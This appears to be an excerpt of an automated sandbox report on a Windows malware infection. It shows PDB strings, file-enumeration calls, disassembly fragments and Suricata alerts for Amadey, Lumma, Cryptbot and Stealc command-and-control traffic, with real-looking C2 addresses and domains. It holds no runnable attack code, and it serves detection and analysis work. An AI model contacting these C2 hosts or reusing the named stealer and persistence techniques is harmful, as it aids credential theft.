Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50105 version: TLS 1.2

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb4} source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2615680036.0000028B99FA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbesB. source: powershell.exe, 00000033.00000002.2615680036.0000028B99FA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbk source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #.dll.pdb source: 8cb1e32b25.exe, 00000029.00000000.2305635682.0000000000C62000.00000002.00000001.01000000.00000010.sdmp, powershell.exe, 0000002A.00000002.2359938915.000001D3AF002000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2391956465.000001D3C6EA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B8229F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2615680036.0000028B99FA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A179000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb) source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbn source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbt.Automation.pdb] source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdbpdb% source: powershell.exe, 0000002A.00000002.2358852815.000001D3ACE15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbA source: powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\AppData\Local\Temp\1016174001\8cb1e32b25.PDB source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.000000000122E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb+ source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.000000000122E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2390904749.000001D3C6E0C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A179000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb) source: powershell.exe, 00000033.00000002.2624749773.0000028B9A179000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: orlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.000000000122E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbe source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\dll\mscorlib.pdbpdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: indoC:\Windows\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \SharpHide-master\SharpHide\obj\Debug\SharpHide.pdb source: powershell.exe, 0000002A.00000002.2359938915.000001D3AF110000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2359938915.000001D3AF002000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000031.00000002.2356291296.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E0C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\Z:\syscalls\amsi_trace64.amsi.csv.pdb5r(m2 source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C07978 FindFirstFileW,FindFirstFileW,free,	14_2_00C07978
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002CD871 FindFirstFileExW,	20_2_002CD871
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002CD922 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	20_2_002CD922
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002CD871 FindFirstFileExW,	40_2_002CD871
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002CD922 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	40_2_002CD922

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C0881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

14_2_00C0881C

Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	40_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov edx, ecx	40_2_00409CC0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	40_2_0042A060
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	40_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov edx, ecx	40_2_0041D074
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov edx, ecx	40_2_0041D087
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov byte ptr [esi], cl	40_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov byte ptr [esi], cl	40_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	40_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	40_2_0041597D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	40_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov edi, eax	40_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov ebx, eax	40_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov ebp, eax	40_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	40_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov word ptr [eax], cx	40_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	40_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov ecx, eax	40_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	40_2_0040C274
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [00444284h]	40_2_00425230
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	40_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	40_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov edx, ebx	40_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	40_2_0042AAD0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov byte ptr [eax], cl	40_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then push eax	40_2_0040C36E
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx ebx, bx	40_2_0042536C
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	40_2_00402B70
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov word ptr [ecx], dx	40_2_00427307
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	40_2_00436B20
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	40_2_0043DBD0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	40_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	40_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	40_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then jmp eax	40_2_0042B475
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	40_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	40_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	40_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	40_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	40_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov byte ptr [ebx], al	40_2_0042B4BB
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	40_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	40_2_004345F0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	40_2_00427653
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov byte ptr [edx], bl	40_2_0040CE55
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	40_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	40_2_0042A630
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	40_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov byte ptr [esi], al	40_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	40_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	40_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	40_2_004296D8
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	40_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov word ptr [eax], cx	40_2_00421EE0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp al, 2Eh	40_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov word ptr [eax], cx	40_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov word ptr [eax], dx	40_2_00417E82
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	40_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	40_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov edi, eax	40_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	40_2_0041CEA5
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then add ebx, 03h	40_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	40_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	40_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov ecx, edx	40_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov word ptr [eax], cx	40_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then mov word ptr [ecx], dx	40_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	40_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	40_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	40_2_0043DFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49706 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49707
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49711 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49715 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49728 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.8:62524 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.8:62524 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.8:64539 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.8:64539 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.8:63301 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.8:63301 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.8:54193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.8:54193 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.8:62196 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.8:62196 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.8:57701 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.8:57701 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.8:62279 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.8:62279 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49742 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.8:50736 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49770 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49767 -> 138.124.35.95:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49771 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49780 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49779 -> 138.124.35.95:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49809 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49818 -> 138.124.35.95:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49811 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49811 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49811
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49811 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49811
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49811 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.8:64548 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.8:51414 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.8:51414 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49828 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49834 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49848 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49888 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49886 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49919 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49926 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49940 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49939 -> 185.215.113.43:80
